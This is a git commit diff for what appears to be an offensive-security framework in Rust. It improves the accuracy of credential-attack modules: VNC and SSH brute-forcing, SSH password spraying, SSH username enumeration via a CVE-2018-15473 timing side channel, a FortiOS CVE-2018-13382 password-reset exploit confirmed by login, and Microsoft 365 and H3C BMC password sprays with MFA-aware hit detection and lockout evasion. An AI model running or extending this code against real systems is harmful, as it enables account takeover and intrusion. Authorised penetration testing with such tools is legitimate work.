creds/exploits: fix the protocol-level audit backlog (VNC, SSH, FortiOS CVE, m365, h3c, engine)

VNC (false positive): negotiate the RFB version instead of forcing 003.008. An
RFB 3.3 server desynced under the forced 3.8 handshake and a misaligned 4-byte
SecurityResult read of 0 was reported as a valid password. Now reply min(server,
3.8), and handle 3.3's single 4-byte security-type vs 3.7+'s count+list+select.

SSH (false negative): ssh_bruteforce + ssh_spray collapsed EVERY ssh2
userauth_password error to AuthFailed, so a transient/transport error mid-auth
became a definitive 'wrong password' (valid creds skipped, never retried). Now
only libssh2 -18/-19 (AUTHENTICATION_FAILED/PUBLICKEY_UNVERIFIED) is AuthFailed;
everything else propagates as a retryable error. ssh_spray also now resolves
hostnames (was SocketAddr::parse, IP-only → hostname targets never sprayed).

ssh_user_enum (noise): replaced the fixed 300ms absolute timing threshold with a
baseline mean+stddev one-sided cutoff (k sigma, median per user, MIN_ABS_DELTA
floor), time ONLY the auth exchange (not connect+KEX), and send a long password
so the server KDF dominates for valid users. threshold setg is now a sigma
multiplier.

FortiOS CVE-2018-13382 (false positive): the ordinary ret=1/redir= login response
was treated as a successful magic-token reset → FindingKind::Vulnerable on PATCHED
hosts. Now the Vulnerable finding is gated on a confirming login with the new
password (verify_login tightened to require the real ret=1 token); fingerprint no
longer calls any 200/401 host a FortiGate; reset POST also sends 'credential'.

Engine: run_bruteforce_streaming's stop-on-first-success early return leaked the
spawn_blocking wordlist reader, which kept scanning a multi-GB file into a dropped
channel. New utils::load_lines_batched_until lets the reader stop the instant the
receiver is gone. bruteforce_retries: unset→1, explicit 0→none, clamped to 10
(was: 0 coerced to 1, huge values unbounded).

m365_activesync_spray: classify valid-but-flagged accounts via X-MS-Diagnostics
ESTS codes (50055 expired / 50057 disabled / 50079/50076/50074/53004 MFA / 50158
CA) as credential hits instead of keying success only on HTTP 200; add 429/503
throttle backoff between rounds.

h3c_redfish_session_spray: require X-Auth-Token on 201 (was: stored a
'(header-missing)' placeholder credential); 400/404/422 → Denied not Error.
h3c_oem_kvm_bruteforce: require an actual token VALUE (header or parsed), not the
bare 'X-Auth-Token' field-name substring + '(present)' placeholder.

Build: 0 errors, 0 warnings. Remaining strict-audit hits in these files are
pre-existing (VNC DES, PG MD5 / MySQL SHA1 auth, #[cfg(test)] asserts, and
run-loop idioms) — none introduced here.
This commit is contained in:
s-b-repo
2026-06-13 20:57:27 +02:00
parent 52767ab45f
commit e180afdcc4
12 changed files with 593 additions and 260 deletions
@@ -388,17 +388,29 @@ async fn try_login(
// 401/403/etc. — a definitive authentication rejection.
return AttemptResult::Denied;
}
// Capture the token from the response HEADER before consuming the body —
// Redfish-style BMCs return X-Auth-Token as a header, not (only) in the JSON.
let header_token = match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
Some(Ok(s)) if !s.is_empty() => Some(s.to_string()),
Some(Err(e)) => {
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
None
}
_ => None,
};
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
// Body read failed mid-stream: transient, not a denial.
Err(e) => return AttemptResult::Transient(format!("read body: {e}")),
};
if !body.contains("X-Auth-Token") {
return AttemptResult::Denied;
// Require an actual token VALUE (header or parsed from the body). The old check
// accepted the bare field NAME "X-Auth-Token" appearing anywhere in the body
// and fell back to a "(present)" placeholder — both could store a
// non-credential lifted from an error page.
match header_token.or_else(|| extract_token(&body)) {
Some(tok) if !tok.is_empty() => AttemptResult::Hit(tok),
_ => AttemptResult::Denied,
}
// Surface the token if we can extract it; otherwise mark hit with a
// placeholder so the caller still records the credential.
AttemptResult::Hit(extract_token(&body).unwrap_or_else(|| "(present)".into()))
}
fn extract_token(body: &str) -> Option<String> {
@@ -382,14 +382,20 @@ async fn try_login(
match status {
201 => {
// Success — extract X-Auth-Token from response headers.
let token = resp
.headers()
.get("X-Auth-Token")
.and_then(|v| v.to_str().ok())
.map(|s| s.to_string())
.unwrap_or_else(|| "(header-missing)".to_string());
LoginResult::Success(token)
// A genuine Redfish session-create returns 201 + X-Auth-Token. Without
// that header it is NOT a usable session — don't store a credential on
// a bare 201 (e.g. from a proxy/load-balancer). Previously a missing
// token was stored as the literal "(header-missing)".
match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
Some(Ok(tok)) if !tok.is_empty() => LoginResult::Success(tok.to_string()),
Some(Err(e)) => {
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
LoginResult::Error("X-Auth-Token header not readable".to_string())
}
_ => LoginResult::Error(
"201 Created without X-Auth-Token — not a valid session".to_string(),
),
}
}
429 => {
let wait = resp
@@ -401,7 +407,10 @@ async fn try_login(
.min(60);
LoginResult::RateLimited(wait)
}
401 | 403 => LoginResult::Denied,
// Definitive negatives from a responding BMC (incl. 400/404/422 for a
// malformed/missing-endpoint login) — Denied, not Error, so per-account
// lockout tracking stays correct.
400 | 401 | 403 | 404 | 422 => LoginResult::Denied,
_ => LoginResult::Error(format!("unexpected HTTP {}", status)),
}
}
@@ -148,6 +148,44 @@ fn classify_http_response(status: u16, diag: &Option<String>) -> &'static str {
}
}
/// Decide whether a response proves the PASSWORD is correct — even when another
/// control blocks the sign-in (MFA, expired, disabled). Azure AD returns 401 with
/// an ESTS error code in `X-MS-Diagnostics`; several of those codes mean the
/// password was right (MSOLSpray semantics). Keying success only on HTTP 200
/// missed every valid-but-flagged account. Returns Some(reason) if valid.
fn credential_is_valid(status: u16, diag: &Option<String>) -> Option<&'static str> {
if status == 200 {
return Some("valid credentials (full access)");
}
let d = diag.as_deref()?;
if d.contains("50126") {
// AADSTS50126: invalid username or password — the one true negative.
None
} else if d.contains("50055") {
Some("valid credentials — password expired")
} else if d.contains("50057") {
Some("valid credentials — account disabled")
} else if d.contains("50079") || d.contains("50076") || d.contains("50074") || d.contains("53004") {
Some("valid credentials — MFA required")
} else if d.contains("50158") {
Some("valid credentials — external security challenge (conditional access)")
} else {
None
}
}
/// True when Azure AD is throttling us (HTTP 429/503 or an ESTS throttle code),
/// so the spray can back off instead of hammering through false negatives.
fn is_throttled(status: u16, diag: &Option<String>) -> bool {
if status == 429 || status == 503 {
return true;
}
match diag.as_deref() {
Some(d) => d.contains("90033") || d.to_lowercase().contains("throttle"),
None => false,
}
}
// ============================================================================
// SMTP Spray Logic
// ============================================================================
@@ -475,6 +513,9 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
// Spray this password across all users with concurrency control
let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
// Set by any worker that sees Azure AD throttling, so we back off before
// the next password round instead of hammering through false negatives.
let throttled = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
let mut handles = Vec::new();
for user in &users {
@@ -483,6 +524,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
let sem = semaphore.clone();
let throttled = throttled.clone();
let client = client.clone();
let user = user.clone();
let password = password.clone();
@@ -497,23 +539,29 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
if mode == SprayMode::ActiveSync || mode == SprayMode::All {
match try_http_basic(&client, ACTIVESYNC_URL, &user, &password).await {
Ok((status, diag)) => {
let detail = classify_http_response(status, &diag);
if status == 200 {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "ActiveSync".to_string(),
status,
detail: detail.to_string(),
});
} else if verbose {
crate::mprintln!(
" [{}] {} @ ActiveSync: {} ({})",
status,
user,
detail,
diag.clone().unwrap_or_default()
);
if is_throttled(status, &diag) {
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
}
match credential_is_valid(status, &diag) {
Some(reason) => {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "ActiveSync".to_string(),
status,
detail: reason.to_string(),
});
}
None if verbose => {
crate::mprintln!(
" [{}] {} @ ActiveSync: {} ({})",
status,
user,
classify_http_response(status, &diag),
diag.clone().unwrap_or_default()
);
}
None => {}
}
// Warn on lockout/block
if status == 403 || status == 456 {
@@ -522,7 +570,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
format!(
"[!] {} - {} ({})",
user,
detail,
classify_http_response(status, &diag),
diag.unwrap_or_default()
)
.yellow()
@@ -545,23 +593,29 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
if mode == SprayMode::Ews || mode == SprayMode::All {
match try_http_basic(&client, EWS_URL, &user, &password).await {
Ok((status, diag)) => {
let detail = classify_http_response(status, &diag);
if status == 200 {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "EWS".to_string(),
status,
detail: detail.to_string(),
});
} else if verbose {
crate::mprintln!(
" [{}] {} @ EWS: {} ({})",
status,
user,
detail,
diag.clone().unwrap_or_default()
);
if is_throttled(status, &diag) {
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
}
match credential_is_valid(status, &diag) {
Some(reason) => {
round_hits.push(SprayHit {
username: user.clone(),
password: password.clone(),
endpoint: "EWS".to_string(),
status,
detail: reason.to_string(),
});
}
None if verbose => {
crate::mprintln!(
" [{}] {} @ EWS: {} ({})",
status,
user,
classify_http_response(status, &diag),
diag.clone().unwrap_or_default()
);
}
None => {}
}
if status == 403 || status == 456 {
crate::mprintln!(
@@ -569,7 +623,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
format!(
"[!] {} - {} ({})",
user,
detail,
classify_http_response(status, &diag),
diag.unwrap_or_default()
)
.yellow()
@@ -658,6 +712,15 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
}
// Back off if Azure AD throttled us this round (429/503/ESTS throttle).
if throttled.load(std::sync::atomic::Ordering::Relaxed) && round_idx + 1 < total_rounds {
crate::mprintln!(
"{}",
"[!] Throttling detected — backing off 60s before the next password round".yellow()
);
tokio::time::sleep(Duration::from_secs(60)).await;
}
// Delay between rounds (lockout evasion)
if round_idx + 1 < total_rounds && delay_secs > 0 {
crate::mprintln!(
+24 -2
View File
@@ -443,8 +443,17 @@ async fn try_ssh_login(
let authed = match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => sess.authenticated(),
Err(e) => {
tracing::trace!("SSH auth rejected: {e}");
false
// Only a genuine auth REJECTION is a definitive Ok(false).
// Transport/method errors (socket recv/send, timeout, KEX,
// "method not supported") must propagate so the engine retries
// instead of recording a possibly-valid password as "wrong".
if is_ssh_auth_rejection(&e) {
tracing::trace!("SSH auth rejected: {e}");
false
} else {
if let Err(d) = sess.disconnect(None, "", None) { tracing::trace!("SSH disconnect: {d}"); }
return Err(anyhow!("SSH auth transport error: {e}"));
}
}
};
@@ -459,4 +468,17 @@ async fn try_ssh_login(
join_result.context("Join error")?
}
/// True only for a genuine SSH authentication rejection (a wrong password),
/// which is a definitive negative. libssh2 surfaces this as
/// LIBSSH2_ERROR_AUTHENTICATION_FAILED (-18) or PUBLICKEY_UNVERIFIED (-19);
/// every other code (socket recv/send -7/-43, timeout -30, disconnect -13,
/// method-not-supported -12, KEX failures, …) is a transport/negotiation fault
/// that should be retried, not recorded as a wrong credential.
fn is_ssh_auth_rejection(e: &ssh2::Error) -> bool {
matches!(
e.code(),
ssh2::ErrorCode::Session(-18) | ssh2::ErrorCode::Session(-19)
)
}
crate::register_native_module!(crate::module::Category::Creds, "generic/ssh_bruteforce", native);
+48 -7
View File
@@ -145,26 +145,67 @@ pub struct SprayResult {
/// Try SSH authentication
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
let addr = format!("{}:{}", host, port);
// Resolve hostnames too — `"host:port".parse::<SocketAddr>()` only accepts
// IP literals, so a hostname target previously errored out and never sprayed.
let socket_addr = resolve_socket_addr(host, port)?;
let tcp = crate::utils::blocking_tcp_connect(
&addr.parse()?,
&socket_addr,
Duration::from_secs(timeout_secs),
)?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(username, password) {
Ok(_) => Ok(sess.authenticated()),
Err(e) => { tracing::debug!("SSH auth failed: {e}"); Ok(false) }
Err(e) => {
// Only a genuine auth rejection (libssh2 -18/-19) is a clean Ok(false).
// Transport/method errors propagate so the caller's retry loop engages
// rather than recording a possibly-valid password as "wrong".
if is_ssh_auth_rejection(&e) {
tracing::debug!("SSH auth rejected: {e}");
Ok(false)
} else {
Err(anyhow!("SSH auth transport error: {e}"))
}
}
}
}
/// Resolve `host:port` to a `SocketAddr`, accepting both IP literals and
/// hostnames (the latter via DNS).
fn resolve_socket_addr(host: &str, port: u16) -> Result<std::net::SocketAddr> {
use std::net::ToSocketAddrs;
let hostport = format!("{host}:{port}");
match hostport.parse::<std::net::SocketAddr>() {
Ok(sa) => Ok(sa),
Err(parse_err) => {
tracing::trace!("{hostport} not an IP literal ({parse_err}); resolving via DNS");
let mut addrs = hostport
.to_socket_addrs()
.with_context(|| format!("resolve {hostport}"))?;
addrs
.next()
.ok_or_else(|| anyhow!("no addresses resolved for {hostport}"))
}
}
}
/// True only for a genuine SSH auth rejection — libssh2
/// LIBSSH2_ERROR_AUTHENTICATION_FAILED (-18) / PUBLICKEY_UNVERIFIED (-19). Every
/// other code is a transport/negotiation fault to be retried, not a wrong cred.
fn is_ssh_auth_rejection(e: &ssh2::Error) -> bool {
matches!(
e.code(),
ssh2::ErrorCode::Session(-18) | ssh2::ErrorCode::Session(-19)
)
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
+100 -52
View File
@@ -30,8 +30,20 @@ pub fn info() -> crate::module_info::ModuleInfo {
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_SAMPLES: usize = 3;
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
const DEFAULT_SAMPLES: usize = 5;
/// Cutoff in BASELINE STANDARD DEVIATIONS (not seconds): a username is flagged
/// when its median auth time exceeds baseline_mean + THRESHOLD*stddev. A fixed
/// 300 ms absolute threshold was all-valid on a WAN and all-invalid on a LAN.
const TIMING_THRESHOLD: f64 = 3.0;
/// Baseline needs more samples than a per-user run for a stable mean + stddev.
const BASELINE_SAMPLES: usize = 12;
/// Absolute floor (seconds) added to the sigma cutoff so a near-zero baseline
/// stddev on a quiet LAN can't produce a hair-trigger that flags every user.
const MIN_ABS_DELTA: f64 = 0.02;
/// CVE-2018-15473 timing relies on the server running its password KDF only for
/// VALID users; a long password makes that work dominate the measured time while
/// invalid users are rejected cheaply, amplifying the signal.
const PROBE_PASSWORD_LEN: usize = 40_000;
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
@@ -90,8 +102,6 @@ fn normalize_target(target: &str) -> String {
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match crate::utils::blocking_tcp_connect(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
@@ -120,30 +130,27 @@ fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -
return None;
}
// Try authentication with invalid password
let invalid_password = format!(
"invalid_{}_{}",
std::process::id(),
start.elapsed().as_nanos()
);
if let Err(e) = sess.userauth_password(username, &invalid_password) {
// Time ONLY the auth exchange. Starting the clock before connect/KEX/DH
// keygen (as before) swamped the auth-decision delta with network + handshake
// noise. The long password makes the server's KDF — run only for VALID users
// on vulnerable OpenSSH — dominate the measurement.
let probe_password = "A".repeat(PROBE_PASSWORD_LEN);
let start = Instant::now();
if let Err(e) = sess.userauth_password(username, &probe_password) {
tracing::trace!("Auth attempt for '{}' returned error (expected): {}", username, e);
}
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
Some(start.elapsed().as_secs_f64())
}
/// Sample authentication timing for a username
fn sample_auth_timing(
/// Collect raw per-attempt auth timings for a username (empty if unreachable).
fn collect_samples(
host: &str,
port: u16,
username: &str,
samples: usize,
timeout_secs: u64,
) -> Option<f64> {
) -> Vec<f64> {
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
times.push(t);
@@ -151,13 +158,38 @@ fn sample_auth_timing(
// Small delay between samples
std::thread::sleep(Duration::from_millis(100));
}
times
}
if times.is_empty() {
return None;
fn mean(xs: &[f64]) -> f64 {
if xs.is_empty() {
return 0.0;
}
xs.iter().sum::<f64>() / xs.len() as f64
}
// Return average
Some(times.iter().sum::<f64>() / times.len() as f64)
/// Sample standard deviation (n-1). Zero for fewer than two samples.
fn stddev(xs: &[f64], mean: f64) -> f64 {
if xs.len() < 2 {
return 0.0;
}
let var = xs.iter().map(|x| (x - mean).powi(2)).sum::<f64>() / (xs.len() as f64 - 1.0);
var.sqrt()
}
/// Median — robust to the occasional GC/scheduler outlier that skews a mean.
fn median(xs: &[f64]) -> f64 {
if xs.is_empty() {
return 0.0;
}
let mut s = xs.to_vec();
s.sort_by(|a, b| a.partial_cmp(b).unwrap_or(std::cmp::Ordering::Equal));
let mid = s.len() / 2;
if s.len() % 2 == 1 {
s[mid]
} else {
(s[mid - 1] + s[mid]) / 2.0
}
}
/// Load usernames from file
@@ -202,7 +234,7 @@ pub async fn enumerate_users(
);
crate::mprintln!(
"{}",
format!("[*] Timing threshold: {:.3}s", threshold).cyan()
format!("[*] Detection cutoff: {:.1} sigma above baseline", threshold).cyan()
);
crate::mprintln!();
@@ -241,19 +273,32 @@ fn enumerate_users_blocking(
);
crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan());
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
Some(t) => {
crate::mprintln!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
t
}
None => {
crate::mprintln!(
"{}",
"[-] Failed to establish baseline - cannot reach target".red()
);
return Vec::new();
}
};
// Baseline from MANY invalid-user samples → mean + stddev for a statistical
// (not fixed-millisecond) cutoff.
let baseline_samples =
collect_samples(host, port, &baseline_user, samples.max(BASELINE_SAMPLES), timeout_secs);
if baseline_samples.is_empty() {
crate::mprintln!(
"{}",
"[-] Failed to establish baseline - cannot reach target".red()
);
return Vec::new();
}
let baseline_mean = mean(&baseline_samples);
let baseline_sd = stddev(&baseline_samples, baseline_mean);
// One-sided cutoff: valid users are SLOWER (the server runs its KDF), so we
// flag only medians ABOVE the cutoff — the old `diff.abs()` also flagged
// faster-than-baseline users, which is backwards. `threshold` is a sigma
// multiplier; MIN_ABS_DELTA floors it when the baseline stddev is ~0.
let cutoff = baseline_mean + (threshold * baseline_sd).max(MIN_ABS_DELTA);
crate::mprintln!(
"{}",
format!(
"[*] Baseline: mean {:.3}s, stddev {:.3}s → cutoff {:.3}s",
baseline_mean, baseline_sd, cutoff
)
.cyan()
);
crate::mprintln!();
crate::mprintln!("{}", "[*] Testing usernames...".cyan());
@@ -269,20 +314,23 @@ fn enumerate_users_blocking(
);
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush failed: {}", e); }
match sample_auth_timing(host, port, user, samples, timeout_secs) {
Some(t) => {
let diff = t - baseline;
if diff.abs() > threshold {
crate::mprintln!(
"\r{}",
format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green()
);
valid_users.push(user.clone());
}
}
None => {
// Connection failed, skip
}
let user_samples = collect_samples(host, port, user, samples, timeout_secs);
if user_samples.is_empty() {
continue; // unreachable this round — skip
}
let user_median = median(&user_samples);
if user_median > cutoff {
crate::mprintln!(
"\r{}",
format!(
"[+] Valid user: {} (median {:.3}s, +{:.3}s over baseline)",
user,
user_median,
user_median - baseline_mean
)
.green()
);
valid_users.push(user.clone());
}
}
@@ -329,7 +377,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.await?
.parse()
.unwrap_or(DEFAULT_SSH_PORT);
let samples: usize = cfg_prompt_default("samples", "Samples per username", "3")
let samples: usize = cfg_prompt_default("samples", "Samples per username", "5")
.await?
.parse()
.unwrap_or(DEFAULT_SAMPLES);
@@ -337,7 +385,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.await?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = cfg_prompt_default("threshold", "Timing threshold (seconds)", "0.3")
let threshold: f64 = cfg_prompt_default("threshold", "Detection cutoff (baseline std-devs)", "3.0")
.await?
.parse()
.unwrap_or(TIMING_THRESHOLD);
+90 -39
View File
@@ -92,51 +92,90 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
retryable: false,
};
}
if let Err(e) = stream.write_all(b"RFB 003.008\n").await {
// Reply with min(server, 3.8) floored at 3.3 — NOT a hardcoded 003.008.
// Forcing 3.8 against a 3.3-only server desyncs the stream: the security
// negotiation differs by version, and a misaligned 4-byte SecurityResult read
// of 0x00000000 was reported as a (false-positive) Success.
let nego_minor = rfb_minor(&banner).clamp(3, 8);
let reply = format!("RFB 003.{nego_minor:03}\n");
if let Err(e) = stream.write_all(reply.as_bytes()).await {
return LoginResult::Error {
message: format!("write banner: {e}"),
retryable: true,
};
}
// Server: 1-byte security-type count, then count bytes of types.
let mut nsec = [0u8; 1];
if let Err(e) =
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut nsec, timeout).await
{
return LoginResult::Error {
message: format!("read sec count: {e}"),
retryable: true,
};
}
if nsec[0] == 0 {
// Failure reason follows (4-byte len + string). Treat as auth fail.
return LoginResult::AuthFailed;
}
let mut sec_types = vec![0u8; nsec[0] as usize];
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut sec_types,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read sec types: {e}"),
retryable: true,
};
}
if !sec_types.contains(&2u8) {
return LoginResult::Error {
message: "server doesn't offer VNC auth (type 2)".to_string(),
retryable: false,
};
}
if let Err(e) = stream.write_all(&[2u8]).await {
return LoginResult::Error {
message: format!("write sec choice: {e}"),
retryable: true,
};
// Security-type negotiation differs by RFB version.
if nego_minor >= 7 {
// RFB 3.7/3.8: 1-byte count, then `count` type bytes; client selects one.
let mut nsec = [0u8; 1];
if let Err(e) =
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut nsec, timeout).await
{
return LoginResult::Error {
message: format!("read sec count: {e}"),
retryable: true,
};
}
if nsec[0] == 0 {
// Failure reason follows (4-byte len + string). Definitive rejection.
return LoginResult::AuthFailed;
}
let mut sec_types = vec![0u8; nsec[0] as usize];
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut sec_types,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read sec types: {e}"),
retryable: true,
};
}
if !sec_types.contains(&2u8) {
let msg = if sec_types.contains(&1u8) {
"VNC requires no authentication (open access)".to_string()
} else {
format!("server doesn't offer VNC auth (type 2); offered {sec_types:?}")
};
return LoginResult::Error { message: msg, retryable: false };
}
if let Err(e) = stream.write_all(&[2u8]).await {
return LoginResult::Error {
message: format!("write sec choice: {e}"),
retryable: true,
};
}
} else {
// RFB 3.3: server dictates a SINGLE 4-byte security type — no client
// selection. The challenge (for type 2) follows directly.
let mut sec = [0u8; 4];
if let Err(e) =
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut sec, timeout).await
{
return LoginResult::Error {
message: format!("read sec type: {e}"),
retryable: true,
};
}
match u32::from_be_bytes(sec) {
2 => {} // VNC auth — fall through to the challenge below.
1 => {
return LoginResult::Error {
message: "VNC requires no authentication (open access)".to_string(),
retryable: false,
}
}
0 => return LoginResult::AuthFailed, // invalid/refused; reason follows
other => {
return LoginResult::Error {
message: format!("unexpected RFB 3.3 security type {other}"),
retryable: false,
}
}
}
}
// 16-byte challenge.
@@ -216,4 +255,16 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
}
}
/// Parse the minor version from an `RFB 003.008\n` banner (digits at [8..11]).
/// Falls back to 8 (the newest we speak) on any malformed banner.
fn rfb_minor(banner: &[u8; 12]) -> u32 {
match std::str::from_utf8(&banner[8..11]) {
Ok(s) => s.trim().parse::<u32>().unwrap_or(8),
Err(e) => {
tracing::debug!("RFB banner minor not UTF-8: {e}");
8
}
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/vnc_bruteforce", native);
@@ -97,15 +97,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.await
.context("Failed to reach target - is the host up?")?;
let probe_status = probe.status();
let probe_body = crate::utils::network::read_http_body_text_capped(probe, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default();
let probe_body = match crate::utils::network::read_http_body_text_capped(probe, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
Err(e) => {
crate::meprintln!("{} Could not read fingerprint response body: {}", "[-]".yellow(), e);
String::new()
}
};
// Require an actual FortiOS indicator in the body — a bare 200/401 made almost
// any HTTPS host look like a FortiGate.
let is_fortigate = probe_body.contains("FortiGate")
|| probe_body.contains("fgt_lang")
|| probe_body.contains("sslvpn")
|| probe_body.contains("fortinet")
|| probe_body.contains("remote/login")
|| probe_status.as_u16() == 200
|| probe_status.as_u16() == 401;
|| probe_body.contains("remote/login");
if !is_fortigate && probe_status.as_u16() == 404 {
crate::mprintln!("{} SSL VPN login endpoint not found (HTTP {}). Target may not have SSL VPN enabled.", "[-]".red(), probe_status);
@@ -119,7 +125,13 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
match client.get(&info_url).header("User-Agent", "Mozilla/5.0").send().await {
Ok(resp) => {
let info_status = resp.status();
let info_body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default();
let info_body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
Err(e) => {
crate::meprintln!("{} Could not read /remote/info body: {}", "[-]".yellow(), e);
String::new()
}
};
if info_body.contains("encmethod") || info_body.contains("salt") || info_body.contains("sso_port") {
crate::mprintln!("{} /remote/info reveals FortiOS indicators (encmethod/salt/sso_port)", "[+]".green());
outcome.findings.push(Finding {
@@ -204,17 +216,6 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let result = attempt_magic_reset(&client, &base_url, username, &new_password).await;
match result {
ResetResult::Success => {
crate::mprintln!(
"{} [{}/{}] {} - {} (VPN group member, password reset!)",
"[+]".green().bold(),
idx + 1,
usernames.len(),
username,
"VULNERABLE".green().bold()
);
vpn_members.push(username.clone());
}
ResetResult::NotInVpnGroup => {
crate::mprintln!(
"{} [{}/{}] {} - Valid user, NOT in VPN portal group",
@@ -235,16 +236,6 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
);
invalid_users.push(username.clone());
}
ResetResult::Patched => {
crate::mprintln!(
"{} [{}/{}] {} - Target appears patched or magic token rejected",
"[-]".red(),
idx + 1,
usernames.len(),
username
);
errors.push(username.clone());
}
ResetResult::Error(e) => {
crate::mprintln!(
"{} [{}/{}] {} - Error: {}",
@@ -256,6 +247,47 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
);
errors.push(username.clone());
}
ResetResult::Success | ResetResult::Patched => {
// Inconclusive on the reset response alone — confirm with a login
// using the new password before counting this as a real reset.
// A patched host fails this for every user (→ no false-positive
// Vulnerable findings); a vulnerable host's real resets confirm.
ctx.rate_limit(&target_ip).await;
match verify_login(&client, &base_url, username, &new_password).await {
LoginResult::Success => {
crate::mprintln!(
"{} [{}/{}] {} - {} (VPN member, reset CONFIRMED by login)",
"[+]".green().bold(),
idx + 1,
usernames.len(),
username,
"VULNERABLE".green().bold()
);
vpn_members.push(username.clone());
}
LoginResult::Failed(_) => {
crate::mprintln!(
"{} [{}/{}] {} - reset not confirmed (patched / not a resettable VPN member)",
"[-]".red(),
idx + 1,
usernames.len(),
username
);
errors.push(username.clone());
}
LoginResult::Error(e) => {
crate::mprintln!(
"{} [{}/{}] {} - verify error: {}",
"[-]".red(),
idx + 1,
usernames.len(),
username,
e
);
errors.push(username.clone());
}
}
}
}
}
@@ -346,56 +378,12 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let result = attempt_magic_reset(&client, &base_url, &username, &new_password).await;
match result {
ResetResult::Success => {
ResetResult::UserNotFound => {
crate::mprintln!(
"{} Password reset SUCCESSFUL for user '{}'!",
"[+]".green().bold(),
"{} User '{}' was not found on the target.",
"[-]".red(),
username
);
crate::mprintln!("{} New password: {}", "[+]".green(), new_password);
// Phase 3: Verify reset by attempting login
crate::mprintln!("\n{} Phase 3: Verifying reset by attempting login...", "[*]".blue());
ctx.rate_limit(&target_ip).await;
let verify = verify_login(&client, &base_url, &username, &new_password).await;
match verify {
LoginResult::Success => {
crate::mprintln!(
"{} Login with new credentials CONFIRMED!",
"[+]".green().bold()
);
}
LoginResult::Failed(reason) => {
crate::mprintln!(
"{} Login verification inconclusive: {}",
"[*]".yellow(),
reason
);
crate::mprintln!(
"{} Password was likely reset but login may require additional factors.",
"[*]".yellow()
);
}
LoginResult::Error(e) => {
crate::mprintln!("{} Login verification error: {}", "[-]".red(), e);
}
}
outcome.findings.push(Finding {
target: target_ip.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"CVE-2018-13382: Password reset succeeded for VPN user '{}' via magic token",
username
),
data: Some(serde_json::json!({
"cve": "CVE-2018-13382",
"username": username,
"magic_value": MAGIC_VALUE,
